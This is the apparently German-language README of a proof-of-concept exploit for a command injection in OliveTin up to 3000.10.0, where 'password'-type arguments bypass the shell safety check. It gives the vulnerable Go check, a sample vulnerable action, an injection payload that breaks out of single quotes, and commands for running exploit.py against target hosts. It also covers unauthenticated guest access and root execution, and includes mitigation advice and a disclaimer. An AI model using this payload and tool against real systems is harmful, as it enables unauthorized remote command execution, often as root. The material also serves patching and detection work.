
OliveTin erlaubt Admins, „Aktionen" zu definieren: Shell-Befehle mit parametrisierten Argumenten, die Benutzer über eine Weboberfläche oder die API auslösen können. Bevor ein benutzerlieferter Wert per Templating in den Shell-Befehl eingesetzt wird, soll OliveTin ihn durch checkShellArgumentSafety() prüfen. Diese Funktion prüft vier Argumenttypen: string, int, bool, choice. Den Typ password überspringt sie komplett und gibt true zurück – also „sicher" – ohne den Wert überhaupt anzusehen.
Wenn eine Aktion also ein Argument vom Typ password hat und dieses Argument in einen Shell-Befehlsstring eingesetzt wird, kannst du alles Mögliche hineinpacken. Semikolons, Backticks, $(), was auch immer. Wenn das Argument im zugrunde liegenden Befehl in Anführungszeichen steht (ein häufiges Muster etwa bei Datenbankpasswörtern), genügt es, aus den Anführungszeichen auszubrechen.
func checkShellArgumentSafety(argType string, value string) bool {
dangerousTypes := []string{"string", "int", "bool", "choice"}
for _, dt := range dangerousTypes {
if argType == dt {
return sanitizeInput(value)
}
}
// password type falls through here, unchecked
return true
}
Betrifft OliveTin bis einschließlich 3000.10.0. Behoben in der 3000.11.1-Linie (Commit 0.0.0-20260222101908-4bbd2eab1532), die password zu den geprüften Typen hinzufügt. Advisory: GHSA-49gm-hh7w-wfvf. CVSS 9.9.
Alles, bei dem ein Argument des Typs password in einem Shell-String landet, meist in Anführungszeichen:
- title: Backup database
id: backup_db
shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /tmp/backup.sql"
arguments:
- name: db_user
type: ascii_identifier
- name: db_pass
type: password
- name: db_name
type: ascii_identifier
db_pass steht in einfachen Anführungszeichen, ohne dass etwas es prüft. Sende '; id ;' als Wert, und OliveTin führt id aus, bevor der fehlerhafte mysqldump-Aufruf fehlschlägt. Der Fehlschlag spielt keine Rolle; der injizierte Befehl wurde bereits ausgeführt – mit dem Benutzer, unter dem OliveTin läuft. In vielen Installationen ist das root, weil der Dienst unter systemd ohne User=-Zeile läuft und man sich keine weiteren Gedanken macht.
Du brauchst für all das keine Zugangsdaten, wenn die Instanz authRequireGuestsToLogin: false gesetzt hat – das ist bei kleineren oder Hobby-Bereitstellungen üblich.
pip install requests
python3 exploit.py -u <target> --action backup_db --arg db_pass -x "id"
Wenn die Aktion weitere Argumente benötigt, um ohne Fehler zu laufen, bevor dein injizierter Befehl ausgeführt wird, übergib sie mit --extra-arg:
python3 exploit.py -u 10.0.0.5 --action backup_db --arg db_pass \
--extra-arg db_user=admin --extra-arg db_name=prod -x "whoami"
Das Skript sendet einen POST an StartAction, wartet zwei Sekunden, fragt dann ExecutionStatus ab und gibt aus, was zurückkommt. Normalerweise siehst du die Ausgabe deines injizierten Befehls oberhalb eines Fehlers des legitimen Befehls, der danach lief und fehlschlug. Das ist zu erwarten. Der Fehler ist kosmetischer Natur; dein Befehl wurde bereits ausgeführt.
Aktualisiere OliveTin über 3000.10.0 hinaus. Falls das noch nicht möglich ist: Entferne alle Passwort-Argumente aus Aktionen, die nicht vertrauenswürdige Benutzer erreichen können, deaktiviere die Gastausführung und verhindere nach Möglichkeit vollständig, dass Argumentwerte in Shell-Strings interpoliert werden. Übergib Geheimnisse stattdessen über Umgebungsvariablen oder eine Datei, die OliveTin unter einem festen Pfad liest. Und betreibe den Dienst nicht als root. Es gibt keinen Grund, warum ein Task-Runner root-Rechte haben sollte.
exploit.py: das PoC-SkriptREADME.md: diese DateiDas hier ist für Leute gedacht, die ihre eigenen OliveTin-Instanzen patchen, Detections schreiben oder Systeme testen, die sie testen dürfen. Richte es nicht gegen etwas, das dir nicht gehört oder an das du keine Berechtigung hast. Das liegt in deiner Verantwortung, nicht in der derjenigen, die das geschrieben haben.
| Flag | Zweck | Standard |
|---|
-u, --url | Ziel-Host oder -IP | erforderlich |
-p, --port | OliveTins Port | 1337 |
--action | die bindingId der angreifbaren Aktion | erforderlich |
--arg | Name des Passwort-Arguments | erforderlich |
-x, --cmd | zu injizierender Befehl | id |
--extra-arg | weitere Argumente, die die Aktion benötigt, name=value, wiederholbar | keine |